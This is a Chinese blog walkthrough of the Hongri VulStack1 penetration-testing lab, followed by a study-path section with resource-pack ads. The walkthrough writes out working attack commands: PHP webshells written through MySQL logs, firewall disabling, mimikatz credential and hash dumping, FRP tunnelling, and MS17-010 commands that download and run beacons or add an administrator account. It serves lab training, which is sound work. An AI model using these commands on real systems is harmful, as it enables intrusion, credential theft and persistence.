红日靶机系列是完全模拟ATT&CK攻击链路来搭建的,通过练习真实的APT实战环境我们可以从中快速成长。VulStack1
是该系列的第一个靶场,主要涉及信息收集、漏洞利用、CS上线、搭建隧道以及域内渗透等知识。
0x01 靶机环境搭建
靶场中包含三台靶机,具体的网络拓扑图如下
从上图可知我们需要模拟内网和外网两个网段,因此我们需要在 VMware 中选择虚拟网络编辑器设置内网网段192.168.52.0/24
完成后为三台靶机在主机网卡中添加VMnet2
,与此同时还需要为 Web 服务器添加桥接网卡作为外网网段。
三台靶机的默认开机密码都为hongrisec@2019
,登录后提示需要修改密码信息,因此根据需要我们将其修改为Mac123456
,最终我们的靶机IP分布如下。
靶机名称 | IP地址 |
---|---|
Web服务器 | 192.168.0.112/192.168.52.143 |
域内主机 | 192.168.52.141 |
域控主机 | 192.168.52.138 |
尝试 ping 通各个主机后找到 phpstudy 开启 Web 服务模拟 Web 服务
同时我们需要保持外网、域网络防火墙为未开启状态
正常访问站点,说明环境成功搭建完成
0x02 外网边界突破
信息收集
使用 Nmap 扫描 web 服务器的端口开放情况
nmap -Pn -sV -p- -A 192.168.0.112 --min-rate=1000
80端口
访问后为 phpStudy 探针,在页面中使用弱口令 root/root 能够成功登录 MySQL 数据库
使用 dirsearch 对站点进行目录扫描
dirsearch -u http://192.168.0.112 -e *
成功发现目录phpmyadmin
并访问,页面为数据库管理工具 PHPMyAdmin
使用 dirsearch 继续扫描备份文件
dirsearch -u http://192.168.0.112 -w /usr/local/share/dicts/fuzzDicts_TheKingOfDuck/directoryDicts/top7000.txt
成功发现备份文件beifen.rar
,解压后发现这是 xycms 的备份源码
3306端口
尝试使用 hydra 爆破 MySQL 数据库密码,但是目标不允许连接数据库
hydra -L /usr/local/share/dicts/fuzzDicts_TheKingOfDuck/passwordDict/ServiceWeakPass/mysql弱口令/mysql-user.txt -P /usr/local/share/dicts/fuzzDicts_TheKingOfDuck/passwordDict/ServiceWeakPass/mysql弱口令/mysql-pass.txt mysql://192.168.0.112 -e nsr -vV
MySQL日志写入木马
通过弱口令root/root
可成功登录 PHPMyAdmin 的后台
执行SQL语句查看是否存在写入权限,secure_file_priv
显示为 NULL
show variables like '%secure_file%';
如果我们通过into outfile
来写入木马,那么由于secure_file_priv
的限制会导致这种方案并不可行
select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/mac.php';
因此我们需要通过日志来写入木马,尝试开启日志记录
set global general_log = "ON";
查看日志记录文件
show variables like "general%";
修改日志记录文件为木马文件
set global general_log_file="C:/phpStudy/www/mac.php";
写入木马至指定日志记录文件当中
select '<?php eval($_POST["mac"]);?>'
成功通过蚁剑连接木马文件
YXCMS后台上传木马
在源码中解压后发现yxcms
目录并尝试访问,访问后发现页面为 YXCMS
由于 YXCMS 的默认后台为index.php?r=admin
,我们尝试访问该后台地址
使用 BurpSuite 截取数据包,复用验证码尝试爆破密码
成功爆破出 admin 密码为 123456,使用该账户密码成功登录后台
选择前台模版并在index_index.php
插入木马
保存成功后使用蚁剑连接木马文件
0x03 内网信息探测
CS上线云服务器
在蚁剑中执行命令发现当前用户为域管理员,那么可以省去提权过程并直接上线CS
在CS中开启 http 监听器并生成利用程序mac1.exe
上传木马后并在命令行中直接执行
成功上线CS
本机基础环境信息收集
减少回连时间为3秒并查看网络连接情况
sleep 3
shell ipconfig
如果有需要的话可以关闭防火墙
netsh firewall set opmode mode=disable
netsh advfirewall set allprofiles state off
成功发现目标存在两个网段,说明内网网段中可能存在其他主机
192.168.0.0/24
192.168.52.0/24
运行 mimikatz 成功获得管理员密码为Mac123456
logonpasswords
成功获取用户哈希值
hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
借助梼杌插件通过 ms14-058 可直接将权限提升至 SYSTEM
成功上线 SYSTEM 系统管理员
内网域环境信息收集
内网信息收集的目的是查找域控以及其他域内主机,以下为常见的内网信息收集命令
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
首先我们需要判断当前域名是什么?判断的方式有许多种,以下为常用的几种方式
shell ipconfig /all
shell net config workstation
成功探测到当前域名为god.org
,接下来需要探索目标存在多少域
shell net view /domain
结果显示目标只存在GOD
域,而WORKGROUP
只是工作组而已。然后尝试寻找域控主机名
shell net group "domain controllers" /domain
结果显示报错
RPC 服务器不可用
,这是什么原因造成的呢?
原来是目标无法完成域名解析,因此我们可以在外网网卡中设置 DNS 服务器为域控
再次寻找域控并确认域控主机名为OWA
有了域控主机名以后我们尝试寻找其他域内主机
net view
shell net group "domain computers" /domain
至此内网信息搜集完毕,域内主机的分布如下,我们需要进一步完成横向渗透
主机名 | IP地址 | 是否为域控 |
---|---|---|
OWA | 192.168.52.138 | 是 |
ROOT-TVI862UBEH | 192.168.52.141 | 否 |
STU1 | 192.168.52.143 | 否 |
0x03 内网横向渗透
建立FRP代理隧道
为了更好地模拟真实环境,我们可以通过在云服务器上搭建 FRP 隧道访问目标内网。
FRP配置
frps.ini
配置:
[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = macmacmac12345678
frpc.ini
配置:
[common]
server_addr=x.x.x.x
server_port = 7000
token = macmacmac12345678
[http_proxy]
type = tcp
remote_port = 6000
plugin = socks5
FRP连接
在云服务器上启动 FRP
./frps -c frps.ini
上传 FRP 至靶机后查看文件
在 CS 上启动连接
shell frpc.exe -c frpc.ini
在本地设置 proxychains 连接目标的6000端口建立 FRP 隧道
vim /usr/local/etc/proxychains.conf
#配置
socks5 x.x.x.x 6000
使用 nmap 扫描内网主机进行测试,连接成功说明隧道建立成功
proxychains4 nmap 192.168.52.138 -p 135,445,80
MSF永恒之蓝漏洞利用
FSCAN漏洞扫描
在 CS 中上传 fsacn 并设置扫描目标
## hosts.txt
192.168.52.138
192.168.52.141
192.168.52.143
使用 fscan 扫描目标,结果显示全部目标都存在 MS17-010 漏洞
shell fscan64.exe -hf hosts.txt
域控主机上线CS
在 CS 的会话当中设置新的监听器用于上线内网主机
需要注意的是在设置监听器时需要确认内网代理主机的IP地址,否则会导致内网主机无法连接
借用该监听器生成相应木马mac2.exe
成功将该木马上传至目标的站点目录
在本地开启 MSF 并设置代理
msfconsole
msf > setg Proxies socks5:x.x.x.x:6000
msf > setg ReverseAllowProxy true
使用 MSF 执行命令上线 CS
msf > use auxiliary/admin/smb/ms17_010_command
msf > set command "powershell.exe -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.52.143/mac2.exe','mac2.exe');start-process mac2.exe"
msf > set rhosts 192.168.52.138
msf > show options
msf > run
域控主机成功上线CS
域内主机上线CS
在使用 MS17-010 攻击域内主机时 CS 无法上线,这是因为该主机为 Windows Server 2003,我们无法使用 powershell
执行命令,与此同时该操作系统为 X86 架构,对应需要使用32位的木马。因此我们需要使用 CS 生成32位木马mac3.exe
同样地我们将其上传至目标的站点目录
重新设置命令使用 certutil 下载木马,但是目标返回报错信息
msf > set command "certutil.exe -urlcache -split -f http://192.168.52.143/mac3.exe mac3.exe"
msf > set rhosts 192.168.52.141
msf > show options
msf > run
那么我们换一种思路,尝试通过永恒之蓝创建管理员账户
net user mac QWEasd123 /add
net localgroup "administrators" mac /add
net user mac
尝试使用新建管理员通过IPC$
进行连接,但目标无法连接
shell net use \\192.168.52.141\ipc$ "QWEasd123" /user:mac
尝试使用域管理员进行登录,目标连接成功
shell net use \\192.168.52.141\ipc$ "Mac123456" /user:Administrator
shell net use
将木马复制到域内主机的C盘目录当中
shell cd .. && copy mac3.exe \\192.168.52.141\c$
在 MSF 中通过 MS17-010 执行木马
msf > set command "C:\\mac3.exe"
msf > show options
msf > run
域内主机成功上线CS
域管理员凭证传递利用
凭证传递利用原理
通过域管理员的凭证可以快速拿下目标域环境,在 CS 中还给我们提供了 SMB Beacon,它主要通过 SMB 协议建立连接,使用命名管道通过父级
Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 会从父 Beacon 获取到任务并发送。因为链接的 Beacon 使用
Windows 命名管道进行通信,因此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效。
凭证传递上线CS
在 CS 的会话中建立 SMB 监听器用于快速传递凭证
在Targets
中选择 psexec_psh 传递哈希值
选择会话并设置 SMB 监听器
域控主机成功上线CS
同样利用该方法无法上线域内主机,这主要是因为目标没有 powershell 环境,我们可以通过 psexec 方式来传递哈希
域内主机成功上线CS
0x04 靶场学习总结
这是我第二次做该靶场,第一次做的时候只采用了凭证传递的利用方式,并没有考虑 MS17-010
漏洞利用,也没有采用隧道的方式来访问内网,经过这些天的考虑后我决定重做温习一遍,一是重新整理一下思路;二是锻炼一下内网渗透思路。当然在练习过程中我也遇到了许多问题,比如
certutil.exe 怎么无法在 Windows Server 2003 中传递保存木马文件、FTP
匿名登录漏洞如何通过代理登录利用等,显然这些问题在打靶记录中未直接体现。但它们对渗透思路的打磨有很大帮助。同时非常感谢红日团队以及前辈的实践,我将继续对后续靶场进行研究学习。
学习网络安全技术的方法无非三种:
第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。
第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
第三种就是去找培训。
接下来,我会教你零基础入门快速入门上手网络安全。
网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。
第一阶段:基础准备 4周~6周
这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
第二阶段:web渗透
学习基础 时间:1周 ~ 2周:
① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
配置渗透环境 时间:3周 ~ 4周:
① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。
渗透实战操作 时间:约6周:
① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
以上就是入门阶段
第三阶段:进阶
已经入门并且找到工作之后又该怎么进阶?详情看下图
给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
![](https://i-blog.csdnimg.cn/blog_migrate/cfb6be237a8bb50509f4119eb7362152.jpeg)